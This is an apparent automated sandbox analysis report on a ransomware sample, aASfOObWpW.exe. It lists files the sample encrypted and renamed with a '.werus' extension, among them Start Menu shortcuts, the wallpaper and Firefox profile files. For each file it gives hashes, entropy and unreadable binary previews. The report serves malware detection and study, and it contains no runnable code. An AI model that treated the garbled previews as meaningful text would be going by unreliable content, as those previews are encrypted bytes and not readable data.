Entropy (8bit):	7.536486346887681
Encrypted:	false
SSDEEP:	12:6Joj9QSRk3aKajHikig3IM5C8YCdaSW4+d36m:qyDR+hGupaW4+Am
MD5:	6975DA282A513BE1AF7C5D5BFA09EE24
SHA1:	08382D95CC4DDDE3FADC8A8E2D4013B276DB9AC1
SHA-256:	475DEB38EA059E727CCF2F1200E7B7BF38048C06650E8F19271A24FB5D32D254
SHA-512:	1AE93706168EFCECBCF2238AE4718A8481E132C916488B67FE7CCC817736F889FB258619D3064F573BD7E8DA4697983C961A494716B91A0DBED0FF4B1CC58E46
Malicious:	false
Preview:	.i........B..Tf....!,........}~.".Nz...G....I.qm....f...e.eH.J..s.....8N........,3...o>{jQW01n..x.;.+z.F.J..2........v....[....9..............)3..~..f.+7...I..uT.FH..."...#J%\|.h...[^..s....ci.[R.#.}BY...1.P.......d.t.@=...X8aH.!.{..).^A.&k..0.8......h1.tk!6U...U....]....Z[X..Hn...2.s...=.fhE..r.6.'.r.M..........T....(../0..j........Mn..d....cT.....\|.1.............<..0.8Q...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	944
Entropy (8bit):	7.767844868634809
Encrypted:	false
SSDEEP:	24:ADGtxHi9WfYQqn7xQEWc1WyPXERh718n2T5YWP7f:ADIx2WfYQqn7+EdrfERF6ncYi7f
MD5:	077E47EFBDADC0FB90A8D525A5BF08BF
SHA1:	4444B67D83D735A48B2167EA35EF95BF2F9AAB7D
SHA-256:	D8DCB3247B94C5A0FD01F9543D61559D3F2DEC2AD656664304CBEBA3CDB607BE
SHA-512:	EE3AA4220B0DB6D7D629CE49C56839E150A3D16EA21650D996429983F652B812B22EDCDEE5C7716FC25E03FC0C8D39E681E336DF0BC65E5F1F834610CC3A0C56
Malicious:	false
Preview:	..@I..,....u).%.\|H....M.]..te.)..^.Wr...\|.N. ......r2kvy...@[..o.H'l'..w. ...'GF...7..g.v:\.x.rr.`k...V/.v.zMX]B..w.S.....T....$......."Z.]...:....=-t.h...C..PxMS.t.T......O.'.....@K+:...z\|..Y....w..,M...J.j\.d..m".\|..{};....Q .6~.E........vE..LUE...)b....E.......Z.9....'.^......2q..X.^.Q...{..o'....w.....K..n'..'\..,"V....W.B.......(...J..uI&.....,h.R......G...=....k...5]h f.X...S. )q..B}..o]W...h.R.].r.[.L.....J.4...`..T./<...[..".+.....i.6..&.J.3....H.j....U.}.g...XzzI..sL.R......c. ....0...C.t........x{...c....J.\|ng..;jf.<SH..&adpz{.&...I/~'..".:........V....R.h..v.Zfss...Q..!]..K....1..SRI.{.Y..x...g.a\.Ur..N.i.W...8.\|6..%.&...%..^...n.?.....y./Sj..:..;M....Ti...Z.i\|..0....}ZbvC..ln%%[[...]. ..h.{...._;..H. d....4'c. j...G.5...H..aX....y...]K..$.7x..F.a.....yi.]......D.....+.<...s.q.'.M....@4....f.9...UH..x.9...F..2..............GRV..."f.\.0]........x......(......Y..:M..E.VB.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\File Explorer.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	416
Entropy (8bit):	7.502676415237992
Encrypted:	false
SSDEEP:	12:6Joj9QSRk3PIg8FxSRtRrPnlQWTcidp4f0N:qyDR+V4SbJSYl4f0N
MD5:	1559B41E0253DE6C8C0129C39DB42BF0
SHA1:	A881346E3A1BC6C75E78F6E195686A2110C18F5E
SHA-256:	7A828B4A113E208D84FEDBA4DF739615FA2B22F60AE359080B7D5C03F53C4616
SHA-512:	E85E896E6AF5F7C0CF87C1B6C317AAE40CB8F4D61938487DF6CF7DE775FEDE90F9944B0800E5E5518E364F2D0202CA170951A53B4EAF480FD1330D896FDF0C42
Malicious:	false
Preview:	.i........B..Tf....!,........}~.".Nz...G.......F5.#hW.x.!...>j..."~.E..I.Tz....._j...j..5b.\|<.6.8.\|..D.L#.H....,)..]&y........f.0\|S"x..0..F......I...&W.e3.o.....@...`..f..Q.o}..C!.-.1r.].S.....S?Op^$R.#~.'..............L...5.o*....%.Ed..^....e.h.E.8...Q...G.}S.C9.F.Y.z..DK..!.A.&g.o,O4.....+..!...59P.4.&#.....&l.....I.`&.e..{..$.i.fn......L8..DQ.1.4.\|.`./.b.!{z.(.....\|.N.V.q...26.,D%.n.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Run.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	416
Entropy (8bit):	7.525838607601932
Encrypted:	false
SSDEEP:	12:6Joj9QSRk3+WMwW9+jgsmOPMtJEcO8ufACaeos5qPPu:qyDR++Xj9+jzmOkgfBZ2m
MD5:	FAC627156EF6F5DC5106C17AA0BB3BFD
SHA1:	B0DAEF6881EE1209AC693B34166D240D79B420FB
SHA-256:	30E47E5C3368F4BE05E6EA789E29DAEAF8DCAFBE046F5A2F95A8ED2968FC2756
SHA-512:	B332979C68424450A8BE009243CA27290B6D02322CA43F414885A62BD9C9B53EAF8B68D11BA41E59FE683B192A446A616A770FD4E2FC10B22555BB5A975D230D
Malicious:	false
Preview:	.i........B..Tf....!,........}~.".Nz...G.....sM.Hs.2.......H.X3.u`v]z.$...A.MZ{3I$K.A......{.........^....XDD#Z#}.....1#.a.;..Q.!y.9.X....R....3.8.,.n@.....o..*B.A..h..,...~......N&..b.3ue,..d.;l..9??.l`._.........q..I.....zG...9........jS.d.]....,\|....1....F.w.]~Y.su5.M .q.uO>}.y.<..K.:.[<J....=..,j...M+.B....-%...<.x.r.-.J..?[...8w..g.kh...b.a@.O.p.s]1..?y...3..jc...>sp.....R....S9....G\v..T.r..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\computer.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	336
Entropy (8bit):	7.375570175587566
Encrypted:	false
SSDEEP:	6:69TUx4OBkI+N9h9YZcUosApdEd4lQw3C8/eQvcz2rlsrZPuYHKdZ/8Z2D9OhpUWm:6JoDo9ovosAdfVC3QhRkumKdtPND4PQ
MD5:	00126E80F486AECEB9D4E524A942D31D
SHA1:	CCB23437BD0B4838CD2B88EF38620E674F227A8B
SHA-256:	A391E3C9E38254AAD7A9877549F9CEF41059DD34284D1CBF860D0D40A498C96B
SHA-512:	7AB3E0CC268FC3862742E2E7B8EAC77D89B79B8ED259EB0FE479BE4B7CAB067661A3D18FFEC8A02F9FFAFF4A49D5C528EE200252623C0D09188B6F2E46DB4762
Malicious:	false
Preview:	.i........B..Tf.K..{...5u.!.<k..${........R^).`}>..]#../C.m... ......,....X.e...u.?...]..&...n..%Y......y.8.\|g..r/t....w...8u.2..,,......_....yl$.LX.!.M...-7....]....4'.EL_."..~a...S.=..Hw,...u......fzv...{./.H......x.{P.7K..bzx\|...QYP..I...C&H..$.e..qh..<..C......<&C.Us.Ii..n..['S..~QM......i.6.T.}.=..'q.D..d.^.....it}

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell (x86).lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2544
Entropy (8bit):	7.935655151203497
Encrypted:	false
SSDEEP:	48:hCuit1p+8IH/22SIqojh2bvLwVL3ZNDNmLK4V6irkrvQdOQQOZj9kTHL6IMg5K:hUpzC+zIqoEbkVNxNmFkzQlQO59cHOIM
MD5:	6C17958A136F4F5DABE11E5EDF406A82
SHA1:	6F8F570D7D7110D4366A5AFACFAD6B879FE944D6
SHA-256:	B76949721EAF286745116496FBAE0B05194FB9BDA8943859F5575A591DA15FE0
SHA-512:	1CBF189657A38B6E9F4074F697D0503C8B9FF027D85055330704BA5A61B5ED4F2B68809C68E2C8F7EDE40B7CC8FE5EFD6097A6959BD8EBC715805481E3C713FE
Malicious:	false
Preview:	.i........B..Tf..r...!}..`..70\|I._=....C...L...X.....Un2..`.......<.`....u...BS..+...[t$..Z... .v-..........V...\|i....kWH..i.....h.1....I..k.q~.`..;..Y..n.\.Y.....{I;?...M.2Te+.M..!jB...)My.A.0nF.6^.z.....O.._.....}T/:.C....}R+ .....q...l...{..........AI...7....t=]X....w.5Bt...T..RP..K....q.Ff.1.......A..v.V...G.2..wm..........).0@..4.x...q.ac......7..6.u..JI.......\|v..H...,.o...-.M.YtL..3.G._.\t.........`lw...b......0..:v-.......Z..S..0...b(..r`.B....Q.<.....}>...]d.....<.M(.Q......&....#....d........."....+..H...O.IZ7..p.-...n...+...nx/q..T.[.ej...^z.7.:..../...6dLjS..6m9..[....pX#.n.=..j..k.t.K....d.89H.4Q.M.X...~F.F.3......<...9......;\..q...G..F.]".....I.......>....N\|'Xq!.........?'....XJ.I.rU9"...291.mM..8..5..\|.e...Y..`;...[.K....&=.w[?<.`fvu.>KV......,.1B.r/r..A..Z.w^.....d.7.9@.)+O.u.z..C..=J...c..e.....{.S...)h.....P+.j..-..\|b.)..D..RH.3SW.8.(x:.g..u...[7X.@..mhY..^.....Jt9.._f....N........15.P..'!.$..usv..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2544
Entropy (8bit):	7.919292105207484
Encrypted:	false
SSDEEP:	48:hCbjUeVezRFZWucoa91xR2MRjjvmFwO0c9URj44okD8iO:hYUekRF4ucosjjvm/Ryj49kDBO
MD5:	0D8C0EA2D6190DD2657E3A4469B2B5A5
SHA1:	6E04CBE987DB90C72530855BC1B26BD2B66840FB
SHA-256:	B93A34FC36B1D870F27314A2D9F9040E0CDA348CF1F22F8AD447FE704C1CA8AD
SHA-512:	EF1567455C481134E7E7F38841C14F048DE3DBA206E04F1F573F2B491BCD47E7883834320FC78F3D52C851574D62C97DE040D1CB723EFC00036EEF7257BACF7B
Malicious:	false
Preview:	.i........B..Tf..r...!}..`..70\|I._=....C...L...X.....Un2..`.......<.`....u...BS..+...[t$..Z... .v-..........V...\|i....kWH..i.....h.1....I..k.q~.`..;..Y..n.\.Y.....{I;?...M.2Te+.M..!jB...)My.A.0n........A!...J...X.0{.~...i...>....yF....x#~.1.D'..~..it.+..T..V...........s...f.U.4.o.m9c...6.K7..k.Xb....h.......&`...>....7n>rj.g.M<....[.7U.g.8FVS.}.W..Z..E.s.........>.n:.RKtb..[5p%....^...Z....\%s..k.,>TR.xQc.\|C;....Iq..`..Z.^.V.....B{..)~..T..%p...$.j,....h..O....W.&..QF..VS..!4:...w..u...z..."?X]....D..p=b[.).o..,..}..r......j..9.,......s..!L....s.c..{..y. ..6.s4U.L`.o....#.........:..a....,WQ...o...."ZHs'..,R..7..`..3\{+^.E...{.>.NO..E.h...[...i.I........98.]...j6p...3..X.b[84'..."s..!EV.;)I".A.8wn6..\.t=..SF....tsm.9K....b..&zZae%3.....e...(...e.N4.t.?r...k...U...f..k.Z.j.F..{JW......F4...>w.\X.v..X.&......$.s..%....2.E.....w..,..."A.@...b.U.U.&,......d.x...X.d.'5...........w...2...D........"$.,}1eF~.R.!.w.d%IW.,i..pZv.F..l.....Q..(.;Wq.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	272
Entropy (8bit):	7.274842185084906
Encrypted:	false
SSDEEP:	6:Gh8L2bL0WVQjV847Av55qeia2yLHtSjRKRKNjjB9Nssex27La+4xvW5Lv:o7QQxPY8LNuKsh/Np7La+m+D
MD5:	02601F78EA5E35979343DFFEA2142132
SHA1:	5C920CD73D8CDE9106FCF4E838EA0C743D20DB45
SHA-256:	434AE57746A757D61DBC808765058248955341991DF91433F16A7E89F486D920
SHA-512:	A2EA5689ED4805723A648E9BDF3F7A9336F447C7C2154E756970D1130EEC9519EB516B2FCED8C74A5F5200EB6091AC04A9806EFC8D39859DE5697D7343334991
Malicious:	false
Preview:	.(..E.jD.\|Q..s.}...&D..y.Bg.~.F.+P....'+j.t...^.._...........m[U1.`(...z.......#..a..BW.P*..D.g...j.._%..o.........AT...N\B...,g..x.....6..M.Mr./2.<Ck.....h..q...B..C2R8D.sV.#...{.T.......L.$Lm(....Y.%.xt.v.D.^!.....E. ....V.#...C..{.8..r...q...../?.....p

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	176
Entropy (8bit):	6.760234743489793
Encrypted:	false
SSDEEP:	3:wCozOsjol1hLRQXzggufFpA87W89Zdf4vcjFJytQTzzmyVBmRb8lhU3ALLSaFP8F:wXaiw1hLi4fFp/rndfDF/CGBab0huA/y
MD5:	F0964FD0278B7B05096867BA8E91C7F9
SHA1:	A448ADF5BF80B47FCCB3011783D148250B2BDF22
SHA-256:	AA971CD6C2817DC78718302F2E05A16977BBCD871D194274DB0F6C970C9D9895
SHA-512:	6B7935EE998D1D6531D33FF2B1FAC8323DDB86FED482E9C401A03E36CE22775C87C12A712A8C2FFAE5EB6CF9A43DF5DC5DFB8DCEDF54EAE2E42E6FE2C5889023
Malicious:	false
Preview:	9...[.O......i.....+..K.m..U...>4@...OA.g.6Pe....$...\....@...e...........J`.]....c).`...u.../....vY...ND.C...+........!.R......P..7..........,=;.En....8.....w..2.>S...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	279760
Entropy (8bit):	7.999364241808542
Encrypted:	true
SSDEEP:	6144:OLCtMFt2C9HGdNeRifs1CTg6KykW9x1rRXbB+whCjqa3yJt8kar/OV:mZGdNeMfsATOyd9x1rhV+MWqrBy/OV
MD5:	E6D5BF27C68388AE04E57DB3003DC84F
SHA1:	1B5B39091283EB9CC72729C4AF107B420A17A205
SHA-256:	A99EBEB81CEB79F7C72E9930591E6ED2991CE0C0130348BF7A34F945E4B4EF72
SHA-512:	27A129AE8E8046EF618619B3D98062133F4A34ED280EF9D5B1ED75C2580E41BA5036B4140176485B8CE56D2BA6D8081BC68407418D88F77D71A5DE6C9E95849B
Malicious:	true
Preview:	..]."...{duG...U..'.(G..1.......f[<)....$.L/]...r.0@.@.......;....!...2$...L.Y.v.M.B.yd...i...O.....%.....6a...^..7Z.bv.E..[..M4TR..q.3=.....t97l.~.sbG..E..3.\%%K6z,..=.+...j1.5..W..@..P.Q.v.e..,.p..#.2..OX........I$....,%O.>....'U..k:....i.2k......r.e.H..,.m.._...a....L.h....J.]. H=.sY7......X...).$`..'.......$.+..)..{....d.g.5HA...^.......smQ.C.....A..r...F6B4...n........1V.42ro...gQ.d.DH..Wt./...Sf.].iB4....v...=..%.se]Y`...d.n.k.\to!.Bw..,.{.u....a..\Sd<<`m...]2#...L.4.q~u6.....'..Oz.L=b.t.$.....8..8..p...........i...s\|p..=.....{...,..j6...h..[...D"..n.... ...n..P.....r...&AU...6..~.s.Zj..f.<.......-.J.c..+..<....e7j.........NU.........q.t:..b........C...eV.w.j.R......2.P)OL..\|f...h.a...p.....#.?.@...<Z.^...T......b...Gy.!..Li..N....mWQG.......d$Kh...2....H...p.R..T.f......t7.e"...........K...I..8ju....yKC6.4.A...B.\..g)N.Fs..r.P...r..#nc;A........-}`B..s<.......,.l.].yE.dI..3...%W.j._5C..w2..X..k~..j.u....G(.s..6...6x.P4

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash Reports\InstallTime20230927232528.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:wZx:qx
MD5:	671F8B53762D71B3FF9F731D89852480
SHA1:	4D20140BCA5699CB9023CA9F56DB1428B6AC9967
SHA-256:	1BF6EE14D974B244190055247D5B3D51672A221A730C3438D87AF050001FF8BB
SHA-512:	237D3E3AE349BB63F185333C4F8540FEDFEBBA0A6DF385F6080F9DA566058A24EF3F5D0E7195B42162AE1357E9735DE42EF0ACC78B0B0216B47218494BE4F52D
Malicious:	false
Preview:	.d.e....E\|...`.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\AlternateServices.txt.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	464
Entropy (8bit):	7.533580923072492
Encrypted:	false
SSDEEP:	12:rl9ZIR9SkS1pLkovKZ2foms+PMxkJ80Bi:lE9qnLVK+Hs+0oA
MD5:	F4F66E6D83D0E130CC5E988F42FDAA4C
SHA1:	ABCE0553356F78FEC89C960910A18AF153BE1F48
SHA-256:	820F6C7ED450BE76A817D72F33A613F2A383556506AF3B9E209122E182B0FC08
SHA-512:	CB7C5DA21DFCA6663E16998CFD8CDAA9F649986081CB6E806CBD75232D4019EC7FD7910281649431722965164414F94859E991FD9C07CA59E85CC00AFF10C34E
Malicious:	true
Preview:	.y.......2...."c...[#....\.e....a..q..I.\|.}.E...N..i.P.....?.C..........#x..B..^.. H@6..X...C:...y.]......>...6......<..2.E&..y..q...`v.1.......5.. ...;..>RU#..1+.g.2>..w....(..;...V.2U.KS..\|.'w'.....T.;...C...(.0G.z...F..E#...!e.#7.X....6.g.wA.+az.........1..9.U.?.v.^]*......?ZF...>..#.u.Z.(.h...9...K~..Q.-...w.."t..Rz....9...r./.qpX9$2.MY....`...%.=..A'+...k..B.r.p..a.E..Je..=...3.e....Yl{.DN..%xGb~.8.4He.e...m........wo..u.]....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2208
Entropy (8bit):	7.916937624424918
Encrypted:	false
SSDEEP:	48:twmnbk3KQsbNLziEpFNpjVa6rvgTDAtcQoSqKhDbGpKZizPriNLb95g:S8tt5SETjFcdUHErMPXg
MD5:	93CE7499115D876020403C4D6607D3E8
SHA1:	57F2FF9044C3A38AB15F8B182A942F358E2F63B7
SHA-256:	C7E58CDB97B3D85535E9286AF058A24F294A77A5612CDEBA40DE0FEE8D4DDAF2
SHA-512:	7E44A2EE96C2A655586B1A0D87F2B1B0F2637A57D11E111F4C3E7F198214771CD3F070CB62EA61BE1F0B593CE40531FCE44481B5ABDB188C32761D7FBEB9EB0C
Malicious:	true
Preview:	7.`....G.9.d......aw.h0...\y......oj1Y.6./7c._-_F..+.k@U..b...h.i..K^K..<.9z.@.........#.+.v.F......&v...+....z.B..M.....E^.I.Qn..e4./..4`P.VK..zY..:..;.........w.x..mp.IOU..3.M.t.......1.r.lA-_.\|......IDJ...b.......\|..M`nBenC.KZ. .....J..J.....pm.O.....N..;...-9.$P..-h?}..<6n....c.].?......."I..Db..3}.\^tv...[.Ad.=TAu...VA8..M..S.2..h+.\R./..y..-U...G..\|(h_./QV.~.oK]..>bvZ..CT.E..Q.pbk.B...P....q{...kCaC....[ ..._)-....._.)..d.x..m.?qC.c.U....i..=5.h._.....@..(.]...).;.D..u:....@.i....qk....DN.f..D.4(...8..FF...^.Dh.C{x77.j.{.....t...^.E&........>..}....q........$.>..}W...;...(...j...M......A.'x.] ..B.5Z.R.[N..-..W~T5~:.....W.U.;..w....m..nm..s.}>\.e......(em.s....( .....B3-.......'....i.A.1pW...M k.s ..O....Xy......s.......9...c....E9B....o........A.......m.`......l.6f.y{..>,L....d.Sx..d)..^n.P7.........@.h.5.\|cs..s.b.kt..8.-Y5..a.].....&W`z.....G..+...*y..[..t......E...m#.m....]rQ.M`.w.\ .qH$]..+1.<X^`9\|.....IY...ys...\.f.z.q.3..>.O..]..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\SiteSecurityServiceState.txt.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	656
Entropy (8bit):	7.63657502181468
Encrypted:	false
SSDEEP:	12:7WXEzTGccaGOAAx3yKn0LPEzR/VDfwlmD0ukoEFkZpFx2RkW:7WgTGxZAh0LMzR/+mkoEGZ05
MD5:	65884FBB4C7B65A7C83B52506EC7B1D2
SHA1:	8589DF8182AA32A839E549216AD8CF511D7FDC26
SHA-256:	FD822D2C80DE9BA8691217ED5A58F341935981646767D6E6A58398D4AABFCD0C
SHA-512:	60A93149384DB4FE413FB40D5C381610BBA680CB21C0980E2BBF1AD4D7D4E3EB488FA801986D7BD18B986309AFB53C31E6A7752BEB08695938219F74149E461C
Malicious:	true
Preview:	.M.fz.<H...?..I+T.@C]....}+x\|....rAFCT.BM.C..z^..7.c.J...!....-i+...\..-...._.FULCd..9..D/.......&r@..g~7........[0.w..0...X...tM.9@..0..........O.m;,...S,9...W5....G_.....yl'.h.=.t.Ke2j...8.9..6.D......Fh...G..R...4.c....v...R..H ...o..W.....yk.0.....7..y.p.exw_..44h....3.#t...z......2kX.9.G&....^dy.eLG.<l0.9.2......O[........9.../%.(..\...%.6=...;..!%...0/.!....c......Z..]q.k.....C.P..;..0....M..jt#..K.....Z..a.p.\........&S.-..........p.....m`.\|....GGBT......+..2.....P4.1A?.[..O...:@)(.t..7..m<BO..~...%.....l....#Ww.b.l.K.._...!!.C..t..Z&DLY..wH.B..\|.w......."...;..l.. .&.Q.......W.o..9.b..-..<........-..'........\|0f7.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addonStartup.json.lz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	5408
Entropy (8bit):	7.963101010543068
Encrypted:	false
SSDEEP:	96:gmoPbZ9fe0wwbO5O0lHtUkVlYaBKDTvM55s2axynyvoelu5r2zxF9dAUJjqx:Afpww6O0BtU2ifxynyv/LzxNAqjqx
MD5:	0F6818AF6B60EB85F55372B009ABB9B0
SHA1:	9304A9B5662C09DA7DE0A26679EDF77601052068
SHA-256:	5717A35E8E9DEF8E4A262EF8169AB511A043BCCB45E99F4AB624A5E216A51A9F
SHA-512:	056D4C4CFAB7BCA3D3548990FD6D49629C50C6773ECC319493319A4B103BAF41E3BD02B392E3770871D1FF951781CDC7D5B0313255492947E848610330D2A828
Malicious:	true
Preview:	C.....{..........;.........\..3.B...#....E..[E.P...9I......}!a..00.I.........b.U......a.L.y..Q.kV..yU.d!b...^B......t...^...x.m....b..u..ZF.E..h...O..+K....;.ZY..(..x::..w...!.u..z..&....s.. Z.......K...3.-..T.V....P....o .5.....77.4...]..!G.s....A...#......c.f,.c..]} ..2S.......3.#..k.FD[..(=0.s...N....8...d./..8Z....a.N..0..n0'.q...I.QY.\o.......Bu.F...U..9cba..W.....r+..m7WwdQ_sq}..@.:./...&..-.'.l.\.b.y.......euj..O.C.i...vl-V..E.O...0x..jv...H.E.31....9GO2(>..0....F...$........i..b6.>(GD........M.=.o.5.+........m........vU\....%..XU.X.P..-.c.[.7..w...[8....Z.z.Gk.l7.cP.....z.ef.[.44.../F..h..7.....A..N..7+.d..5.}.\.....tu"s.t.*.-.A-...=......D.b......].%7a..#cp/1...(..!.S..{...\|[....9.....#..O...^...aK7.br./..._.[.._ .... ~....F.v...C:xL.B2R..J.ax.........F}.b..y.i._h.w...v~:.&....._.,.$SJ.".G..=...w.4...<_.f.....lt`@.D...9....U...?=W...I.C..sZ.i......9#)...W.).jx.............j\.............bgD....:F..@~....J].!s.ai9.H_-l..O..iZg>.....Tv..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addons.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	4.9375
Encrypted:	false
SSDEEP:	3:pMNl0sJy:2l0sJy
MD5:	064072534A49A29C9746967614017AD3
SHA1:	22AF46681F323CCC8DAF8E6918071F09DFA25632
SHA-256:	B3141CC3788FE9C9EAEDE7A74767945CC5767BA6C3068E8828A75FF00A25D39D
SHA-512:	25031026074D71041C0D2AA7A15AEA45D227073E450F8CDE874300A009B3C4AEF3B32FA55F4DF39199E5F5D24A0DE53FDAA1686929A3A17E6B535A1BCBF13DEF
Malicious:	true
Preview:	/..;).X.H3\p......a..7Z.....,.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	229392
Entropy (8bit):	7.9992619727490455
Encrypted:	true
SSDEEP:	6144:WNejGiZf4pZyCrWoShZFh5cPBwGXB0HGAjcDtIBe2Rpcv8o:WNe3QrXSh7cPBwWeHGA22ExvH
MD5:	8D37C65212DF55CB2C826FBE77F3D791
SHA1:	B2736A543305CDD452DF00AA490647B4BAA10447
SHA-256:	11ED7BC6CF3FF24456BC9DF0F48C4AA0998842C7E0C7B4BE49D40D8B79EA8F26
SHA-512:	B246E9BA0E3A0358951F7D7FF1679F1B6B9BCBF99A27D2B9ACE2F831D28A5D5A5A6E94359613A0D4A4D812F018A0F38C28C77F95A0E78DFF4219C78B2A84D302
Malicious:	true
Preview:	...-n.fF...wG.....Wx..:...b.B.M;....+.+.`.K2.<k3qVcwt......I.g.0.....,.HG..........b....VJ.k.}.e..(.........[..&06'..F......lyN......y.6..-.n...u..?..;.yUO)Y..P6.{<...X.eu.a.......\3..7'......A..oz<.n....;!....W...E.$$8:Kf....E.LxbvM..9...'..>LO_...(weP.c.&//i9..d.I.s....dn....Dw/{:$.Ur.7"...tT?......07.Gqd.....$...9.......{....[..1L.$..%...<...\|r.{>Q...=@.7UV.........~.^.e.x...}l.J.}\.C..W.j.qn...v...K...P\|.....b.p.1.\|G...zF..0..k;j8e....C.s\|.l[(1.=...'..j...L$..#i,...Gi<TMA...4.:./qA#......1...^d...>1.s4Zu..T.%.G.v.......hn%..K39...9.w..YjAC...\|..9%...38g.Y...7F.c..k.)...#..a..)...0.P..8.\>xy.d0.`M...t+......R.!2Gq.....g..6..QK!...m.o..m...D.b.j+..}...29^b.U.?.!...1..)......U.... ..E.....JrFB..Lc..l.aA...K.F..m....t..C...v..]~..*.`.%.yw.tK._.>.?.V$....._..m.m.(...r.:.i.........N...P.........$.sH.+....'I..X.OT.2........4o.QA..:.K.N._.1.M,..u.....h..t5...-7G$g.J.B.....0.l..^..m.m.!....^&34o..X...S...q..O.Nc.....YX.......=g=._....S).

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	7.0523917012205475
Encrypted:	false
SSDEEP:	6:bFYyqjviIVEYtaeu6QmrAnRXRjTyQVxWjo29sHxW:RYjqIuiu+rkXbWR9D
MD5:	EFB97F9684190D85BB6126A913B2BDC8
SHA1:	1BF9E2D15329847B7FFFF52C9D2E424B44D4CB97
SHA-256:	69F2160750B4BCB92D560A40F40B9A95A0649E6C61FE091A1AE7C9BE2BEA4273
SHA-512:	EE4C7FD229961B42487A38615D3CF7A4644591E9107ED12AE7A18E61AC86F883181D8202D8F93CCB4533B4C5894C12727BB9FD2936F3F030DAF1F37BED8E1AAF
Malicious:	true
Preview:	/.;..'.X..A.'(./2T7.....6.7P.._.....;.!.+Q.......&%4.........q.K.....Ty.sQS...l.0..Z..2.....[....E..\.w....i....#.....x.......T..........O.%...C<u.........K..e......Aoa....uK..x.Y.W..<........N....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\containers.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	880
Entropy (8bit):	7.815121817765876
Encrypted:	false
SSDEEP:	24:ByWaBjgDPzbzl2Onkioqr8cD023HVIuKh/:B+GPzb/e2TA231Iph/
MD5:	3325DC461E28E65DFBFB758029362724
SHA1:	F97FC4D7E260F59A190E111F1EA8280B6118790D
SHA-256:	84F135023767EC7E7067AC21F41E3E91C204E98676AE0E5D5869D8BC4CA5C9AE
SHA-512:	3DAA8D82D7E65AB4914D81150C7DE350ACB0A7B0B5C1B8B09C53693BDE9BFC47396DB0DF5A00A056EA256CB2A392883A69C1FD28BFDF2061F13E2DD3CFD36006
Malicious:	true
